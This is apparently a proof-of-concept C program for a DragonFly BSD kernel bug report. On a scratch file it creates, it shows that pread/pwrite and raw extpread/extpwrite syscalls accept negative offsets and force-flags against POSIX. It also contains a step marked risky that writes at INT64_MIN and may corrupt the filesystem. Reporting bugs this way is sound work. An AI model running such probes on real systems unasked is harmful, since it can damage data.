/*
 * DF-2731 PoC: negative-offset pread/pwrite via SYS_extpread/SYS_extpwrite
 * (sys/kern/sys_generic.c:153-186, 360-386) plus raw force-flags (O_FOFFSET /
 * O_FAPPEND leak through `flags & O_FMASK').
 *
 * POSIX (pread): "EINVAL ... offset is negative".
 * DragonFly: sys_extpread() only special-cases offset == (off_t)-1; every
 * other negative offset is handed raw to the filesystem.
 *
 * Build:  cc -O -o negoffset negoffset.c
 * Run:    ./negoffset <scratchfile>
 */
#include <sys/types.h>
#include <sys/syscall.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

#define SYS_EXTPREAD  173
#define SYS_EXTPWRITE 174

static void show(const char *what, ssize_t r, int e)
{
	printf("%-42s ret=%zd errno=%d (%s)\n", what, r, e,
	       e ? strerror(e) : "-");
}

int main(int argc, char **argv)
{
	const char *path = argc > 1 ? argv[1] : "df2731.scratch";
	char buf[512], big[4096];
	struct stat st;
	int fd, e;
	ssize_t r;

	fd = open(path, O_RDWR | O_CREAT | O_TRUNC, 0644);
	if (fd < 0) { perror("open"); return 1; }
	memset(big, 'Z', sizeof(big));
	if (write(fd, "0123456789ABCDEFGHIJ", 20) != 20) { perror("write"); return 1; }

	/* --- 1. plain pread at -5: POSIX says EINVAL ------------------- */
	errno = 0;
	r = pread(fd, buf, 8, -5);
	show("pread(fd, buf, 8, -5) [expect EINVAL]", r, errno);

	/* --- 2. pread near INT64_MIN ------------------------------------ */
	errno = 0;
	r = pread(fd, buf, 8, (off_t)INT64_MIN + 8);
	show("pread(fd, buf, 8, INT64_MIN+8)", r, errno);

	/* --- 3. raw extpread: kernel arg order is (fd, buf, nbyte, FLAGS, OFFSET)
	 * offset==-1 means "use file position"; documented O_FOFFSET flag
	 * defeats that and keeps uio_offset = -1 -> negative offset to VFS. */
	errno = 0;
	r = syscall(SYS_EXTPREAD, fd, buf, 8, 0, (off_t)-5);
	show("extpread(flags=0, offset=-5)", r, errno);
	errno = 0;
	r = syscall(SYS_EXTPREAD, fd, buf, 8, 0x200000 /*O_FOFFSET*/, (off_t)-1);
	show("extpread(flags=O_FOFFSET, offset=-1)", r, errno);

	/* --- 4. pwrite at -5: phantom block? ---------------------------- */
	errno = 0;
	r = pwrite(fd, "PHANTOM!", 8, -5);
	show("pwrite(fd, \"PHANTOM!\", 8, -5)", r, errno);
	fstat(fd, &st);
	printf("   -> fstat size after phantom pwrite: %lld\n",
	       (long long)st.st_size);
	errno = 0;
	r = pread(fd, buf, 512, 0);
	if (r > 0) {
		buf[r < 512 ? r : 511] = 0;
		printf("   -> file content (first %zd bytes): '%s'%s\n", r, buf,
		       strstr(buf, "PHANTOM!") ? "  <-- PHANTOM DATA LANDED" : "");
	}

	/* --- 5. raw extpwrite, offset=-1, flags=O_FAPPEND (0x100000) ---- */
	errno = 0;
	r = syscall(SYS_EXTPWRITE, fd, "APPEND!", 7, 0x100000 /*O_FAPPEND*/, (off_t)-1);
	show("extpwrite(flags=O_FAPPEND, offset=-1)", r, errno);
	fstat(fd, &st);
	printf("   -> fstat size after forced-append: %lld\n",
	       (long long)st.st_size);
	errno = 0;
	r = pread(fd, buf, 512, 0);
	if (r > 0) {
		buf[r < 512 ? r : 511] = 0;
		printf("   -> content: '%s'%s\n", buf,
		       strstr(buf, "APPEND!") ? "  <-- APPENDED AT EOF" : "");
	}

	/* --- 6. (risky) pwrite 4096 bytes at INT64_MIN ------------------- */
	/* hammer2: new_eof = INT64_MIN + 4096 -> negative file size? */
	errno = 0;
	r = pwrite(fd, big, sizeof(big), (off_t)INT64_MIN);
	show("pwrite(fd, 4096B, INT64_MIN) [risky]", r, errno);
	e = errno;
	fstat(fd, &st);
	printf("   -> fstat size after INT64_MIN pwrite: %lld\n",
	       (long long)st.st_size);
	(void)e;

	printf("DONE df2731\n");
	return 0;
}
